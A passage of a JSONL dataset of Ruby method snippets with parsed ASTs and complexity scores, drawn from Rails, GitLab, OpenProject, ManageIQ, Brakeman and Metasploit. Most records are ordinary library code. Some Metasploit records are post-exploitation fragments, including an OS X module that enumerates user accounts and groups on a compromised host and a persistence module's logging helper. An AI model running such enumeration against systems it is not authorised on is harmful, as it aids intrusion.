end","complexity_score":40.9,"ast_json":"{\"type\":\"def\",\"children\":[\"log_file\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"log_path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STARTUP\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"TASK\"]}]},{\"type\":\"ivar\",\"children\":[\"@cleanup_host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"ivar\",\"children\":[\"@cleanup_host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filenameinfo\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"_\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d.%M%S\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"logs\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"log_path\"]},{\"type\":\"str\",\"children\":[\"logs\"]},{\"type\":\"str\",\"children\":[\"persistence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"clean_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"filenameinfo\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"log_directory\"]},{\"type\":\"str\",\"children\":[\"persistence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"clean_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"filenameinfo\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"logs\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logfile\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logs\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"Separator\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"clean_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"filenameinfo\"]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".rc\"]}]}]},{\"type\":\"lvar\",\"children\":[\"logfile\"]}]}]}","id":"9fb35575-cf51-4e40-bb6a-8c6b3d2bd378"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":78,"raw_source":"def reflections\n        normalized_reflections.stringify_keys\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reflections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalized_reflections\"]},\"stringify_keys\"]}]}","id":"84d37da3-f67d-4a05-96a1-6a18522f7f90"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/queries/meetings/filters/dates_interval_filter.rb","start_line":46,"raw_source":"def type_strategy\n    @type_strategy ||= Queries::Filters::Strategies::DateInterval.new(self)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"type_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@type_strategy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Filters\"]},\"Strategies\"]},\"DateInterval\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"869404cf-6511-4b7b-b0f2-6610bb7e7bf9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bullet/exclusions.rb","start_line":28,"raw_source":"def exclusions\n        @exclusions ||= if File.exist?(config_file)\n                          config = YAML.safe_load_file(config_file, permitted_classes: [Range])\n                          config['exclusions']&.values || []\n                        else\n                          []\n                        end\n      end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exclusions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@exclusions\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[null,\"config_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load_file\",{\"type\":\"send\",\"children\":[null,\"config_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permitted_classes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Range\"]}]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exclusions\"]}]},\"values\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"05d7e4f0-809f-4f28-a242-d40dcb090827"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/graphql_controller.rb","start_line":365,"raw_source":"def introspection_query_cache_key\n    # We use context[:remove_deprecated] here as an introspection query result can differ based on the\n    # visibility of schema items. Visibility can be affected by the remove_deprecated param. For more context, see:\n    # https://gitlab.com/gitlab-org/gitlab/-/issues/409448#note_1377558096\n    ['introspection-query-cache', Gitlab.revision, context[:remove_deprecated]]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"introspection_query_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"introspection-query-cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"revision\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remove_deprecated\"]}]}]}]}","id":"1aaa65cc-6d43-4a2b-bd70-0a8367b5e5fe"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker.rb","start_line":198,"raw_source":"def self.path_to_my_worker_settings\n    @path_to_my_worker_settings ||=\n      ancestors.grep(Class).select { |c| c <= MiqWorker }.reverse.collect(&:settings_name)\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path_to_my_worker_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@path_to_my_worker_settings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ancestors\"]},\"grep\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"<=\",{\"type\":\"const\",\"children\":[null,\"MiqWorker\"]}]}]},\"reverse\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings_name\"]}]}]}]}]}","id":"dbc20eb5-6c4f-4dd7-a767-c597531146c2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/base.rb","start_line":242,"raw_source":"def self.inherited(base) # :nodoc:\n        super\n\n        # Invoke source_root so the default_source_root is set.\n        base.source_root\n\n        if base.name && !base.name.end_with?(\"Base\")\n          Rails::Generators.subclasses << base\n\n          Rails::Generators.templates_path.each do |path|\n            if base.name.include?(\"::\")\n              base.source_paths << File.join(path, base.base_name, base.generator_name)\n            else\n              base.source_paths << File.join(path, base.generator_name)\n            end\n          end\n        end\n      end","complexity_score":33.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inherited\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"source_root\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"name\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"Base\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Generators\"]},\"subclasses\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Generators\"]},\"templates_path\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"::\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"source_paths\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"base_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"generator_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"source_paths\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"generator_name\"]}]}]}]}]}]},null]}]}]}","id":"cf5bebbe-9379-472e-8e4a-f8910a95c4c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb","start_line":184,"raw_source":"def logger\n        @logger ||= Gitlab::BackgroundMigration::Logger.build\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"BackgroundMigration\"]},\"Logger\"]},\"build\"]}]}]}","id":"028ee24f-4ca0-4e54-9cb4-0bb123b5b400"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/enum_osx.rb","start_line":172,"raw_source":"def enum_accounts(log_folder, ver_num)\n    # Specific commands for Leopard and Snow Leopard\n    leopard_commands = {\n      'Users' => ['/usr/bin/dscacheutil', '-q user'],\n      'Groups' => ['/usr/bin/dscacheutil', '-q group']\n    }\n\n    # Specific commands for Tiger\n    tiger_commands = {\n      'Users' => ['/usr/sbin/lookupd', '-q user'],\n      'Groups' => ['/usr/sbin/lookupd', '-q group']\n    }\n\n    if ver_num =~ /10\\.(7|6|5)/\n      shell_commands = leopard_commands\n    else\n      shell_commands = tiger_commands\n    end\n    shell_commands.each do |name, command|\n      print_status(\"\\tEnumerating #{name}\")\n      command_output = cmd_exec(command[0], command[1])\n      # Save data lo log folder\n      file_local_write(log_folder + \"//#{name}.txt\", command_output)\n    end\n  end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_accounts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log_folder\"]},{\"type\":\"arg\",\"children\":[\"ver_num\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"leopard_commands\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Users\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/bin/dscacheutil\"]},{\"type\":\"str\",\"children\":[\"-q user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Groups\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/bin/dscacheutil\"]},{\"type\":\"str\",\"children\":[\"-q group\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tiger_commands\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Users\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/sbin/lookupd\"]},{\"type\":\"str\",\"children\":[\"-q user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Groups\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/sbin/lookupd\"]},{\"type\":\"str\",\"children\":[\"-q group\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver_num\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"10\\\\.(7|6|5)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"shell_commands\",{\"type\":\"lvar\",\"children\":[\"leopard_commands\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shell_commands\",{\"type\":\"lvar\",\"children\":[\"tiger_commands\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shell_commands\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tEnumerating \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command_output\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"file_local_write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_folder\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"//\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]},{\"type\":\"lvar\",\"children\":[\"command_output\"]}]}]}]}]}]}","id":"1242d27b-b745-4a4a-aefd-c88863b2a81d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rbmysql.rb","start_line":1072,"raw_source":"def ==(other)\n      other.is_a?(RbMysql::Time) &&\n        @year == other.year && @month == other.month && @day == other.day &&\n        @hour == other.hour && @minute == other.minute && @second == other.second &&\n        @neg == neg && @second_part == other.second_part\n    end","complexity_score":38.1,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbMysql\"]},\"Time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@year\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"year\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@month\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"month\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@day\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"day\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hour\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"hour\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@minute\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"minute\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@second\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"second\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@neg\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"neg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@second_part\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"second_part\"]}]}]}]}","id":"a1830fa7-2881-482d-8f1a-2c82582ecbb4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/sources/structure_sql.rb","start_line":150,"raw_source":"def statements\n            @statements ||= parsed_structure_file.tree.stmts\n          end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"statements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@statements\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_structure_file\"]},\"tree\"]},\"stmts\"]}]}]}","id":"438c97bd-1c0c-45ee-9343-85d275403581"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/enterprise_token.rb","start_line":34,"raw_source":"def all_tokens\n      all.sort_by(&:sort_key)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"all_tokens\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort_key\"]}]}]}]}","id":"183930b5-64c0-4946-b9de-4e4e15c83a15"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/let_work_packages.rb","start_line":109,"raw_source":"def shared_let_work_packages(table_representation)\n      shared_let(:_table) { create_table(table_representation) }\n\n      table_data = TableData.for(table_representation)\n      shared_let(:table_work_packages) { _table.work_packages }\n      table_data.work_package_identifiers.each do |identifier|\n        shared_let(identifier) { _table.work_package(identifier) }\n      end\n    end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_let_work_packages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_representation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared_let\",{\"type\":\"sym\",\"children\":[\"_table\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"table_representation\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"table_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TableData\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"table_representation\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared_let\",{\"type\":\"sym\",\"children\":[\"table_work_packages\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_table\"]},\"work_packages\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_data\"]},\"work_package_identifiers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared_let\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_table\"]},\"work_package\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]}]}]}]}","id":"3ac3042f-e2a9-46a3-9a50-430cffe96bb8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/runner_ack_queue.rb","start_line":58,"raw_source":"def with_redis(&block)\n          # Use SharedState to avoid cache evictions\n          ::Gitlab::Redis::SharedState.with(&block) # rubocop:disable CodeReuse/ActiveRecord -- This is not AR\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redis\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"893e7de4-d705-4ac0-80d4-f65f396e30f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/samplers/puma_sampler.rb","start_line":42,"raw_source":"def puma_stats\n          ::Puma.stats\n        rescue NoMethodError\n          Gitlab::AppLogger.info \"PumaSampler: stats are not available yet, waiting for Puma to boot\"\n          nil\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"puma_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Puma\"]},\"stats\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"info\",{\"type\":\"str\",\"children\":[\"PumaSampler: stats are not available yet, waiting for Puma to boot\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"6013df58-0e60-440d-84a2-fe6720199a2c"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3/app/controllers/products_controller.rb","start_line":26,"raw_source":"def new\n    @product = Product.new\n\n    respond_to do |format|\n      format.html # new.html.erb\n      format.xml  { render :xml => @product }\n    end\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@product\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"xml\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]},{\"type\":\"ivar\",\"children\":[\"@product\"]}]}]}]}]}]}]}]}]}","id":"6ae69d8b-6f05-4ca5-88da-e6f6c97d44a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/bulk_imports/transform_references_worker.rb","start_line":86,"raw_source":"def matching_urls(object)\n      URI.extract(object_body(object), %w[http https]).each_with_object([]) do |url, array|\n        parsed_url = URI.parse(url)\n\n        next unless source_host == parsed_url.host\n        next unless parsed_url.path&.start_with?(\"/#{source_full_path}\")\n\n        array << [url, new_url(object, parsed_url)]\n      rescue URI::InvalidURIError\n        # Some strings like http://[127.0.0.1] are captured by URI.extract, but fail to parse. We can ignore these cases\n      end\n    end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_urls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"extract\",{\"type\":\"send\",\"children\":[null,\"object_body\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"http\"]},{\"type\":\"str\",\"children\":[\"https\"]}]}]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_host\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_url\"]},\"host\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_url\"]},\"path\"]},\"start_with?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_full_path\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":